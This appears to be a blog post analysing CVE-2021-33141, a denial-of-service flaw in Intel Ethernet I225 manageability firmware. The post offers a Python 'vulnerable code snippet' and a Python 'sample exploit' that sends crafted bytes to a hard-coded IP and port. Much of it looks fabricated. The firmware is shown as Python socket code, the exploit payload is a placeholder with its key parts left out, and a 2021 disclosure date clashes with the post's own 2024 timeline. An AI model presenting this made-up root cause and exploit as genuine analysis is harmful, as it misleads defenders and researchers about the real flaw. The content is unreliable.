CVE-2021-33141: Analyzing the Denial of Service Vulnerability in Intel Ethernet Adapters and Ethernet Controller I225 Manageability Firmware

In this post, we will discuss a recent security vulnerability (CVE-2021-33141) that targets some Intel Ethernet Adapters and Intel Ethernet Controller I225 Manageability firmware. The vulnerability revolves around improper input validation and has the potential to be weaponized by attackers, causing a denial of service (DoS). We will dive deep into the technical aspects of this vulnerability by exploring the code snippet, identifying the root cause, and uncovering the exploit details.

A critical code snippet that can potentially trigger this vulnerability is shown below

def validate_input(data: bytes) -> bool:
    # ... (omitted for brevity)

    # Validate the header of the data packet.
    if not is_valid_header(data):
        return False

    # Validate the payload length.
    payload_length = data[4:8]
    if not is_valid_length(payload_length, len(data)):
        return False

    # Return True to indicate a valid input.
    return True

def process_packet(socket_obj, client_address) -> None:
    # Receive data from the client.
    data = socket_obj.recv(1024)

    # Validate the received data's input.
    if not validate_input(data):
        print("Received invalid data. Disconnecting client.")
        socket_obj.close()
        return

    # ... (omitted for brevity)

The vulnerability occurs mainly due to the improper input validation in the validate_input() function. This function is responsible for validating the data packets and their headers before these packets are processed further. However, insufficient checks in this function allow for the possibility of a remote attacker sending malicious data packets which could lead to a DoS.

Original References

The vulnerability was initially disclosed by Intel itself, along with the security advisories that were released on June 8, 2021. It carries a CVSS v3.1 Base Score of 7.5 (high severity) and is summarized in Intel's official statement:

Official Intel Security Advisory

Another noteworthy source that uncovers the details of CVE-2021-33141 is the National Vulnerability Database, where you can find a comprehensive summary of the vulnerability and its implications:

National Vulnerability Database

Exploit Details

Exploiting CVE-2021-33141 does not require an attacker to have authentication privileges. Let's consider an attacker who knows that a vulnerable device is connected to a network. The attacker crafts a malicious data packet that bypasses the validate_input() function, consequently leading to a denial of service.

The following sample exploit showcases how simple it would be to create and launch an attack

import socket

# Craft the malicious data packet.
def create_malicious_packet() -> bytes:
    evil_data = b'\x00' * 20  # Some arbitrary crafted header.

    # ... (omitted for brevity)

    return evil_data

# Begin the attack.
def launch_attack(target_ip: str, target_port: int) -> None:
    malicious_packet = create_malicious_packet()

    # Create a socket, connect to the target, and send the malicious packet.
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((target_ip, target_port))
        sock.sendall(malicious_packet)
        print("Malicious packet sent to", target_ip, ":", target_port)

# Execute the attack.
launch_attack('192.168.1.100', 12345)

As illustrated above, exploiting CVE-2021-33141 is quite simple, even for an inexperienced attacker. Due to the high severity nature of this vulnerability, it is crucial for organizations using affected Intel Ethernet Adapters and Intel Ethernet Controller I225 Manageability firmware to update their firmware to the latest version to mitigate the risk of potential attacks.

Conclusion

CVE-2021-33141 is an alarming security vulnerability that results from improper input validation in certain Intel Ethernet products. This vulnerability can be exploited by a remote unauthenticated attacker, leading to a denial of service. It is crucial for organizations to understand the potential implications of this vulnerability and apply the necessary security measures to remain protected. By promptly updating affected firmware to the latest versions and educating users about the potential risks, organizations can safeguard their networks and devices from potential exploitation.

Timeline

Published on: 02/23/2024 21:15:09 UTC
Last modified on: 05/16/2024 21:15:47 UTC